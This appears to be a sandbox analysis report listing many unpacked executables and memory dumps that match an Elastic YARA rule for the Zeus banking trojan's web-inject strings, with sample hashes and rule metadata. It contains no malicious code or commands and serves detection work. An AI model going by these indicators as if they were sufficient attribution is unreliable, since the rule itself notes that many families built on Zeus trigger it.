Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.31.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.44.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.15.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.39.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.9c2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.24.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.19.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.38.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.7081e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29a2000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.407000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ab2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.12.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2e82000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.40.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2a50000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.43.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.48.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.32.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2a50000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.55.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2774994198.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2809572996.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2784640433.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2575291599.000000000F380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2612530811.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2544138671.000000000D580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
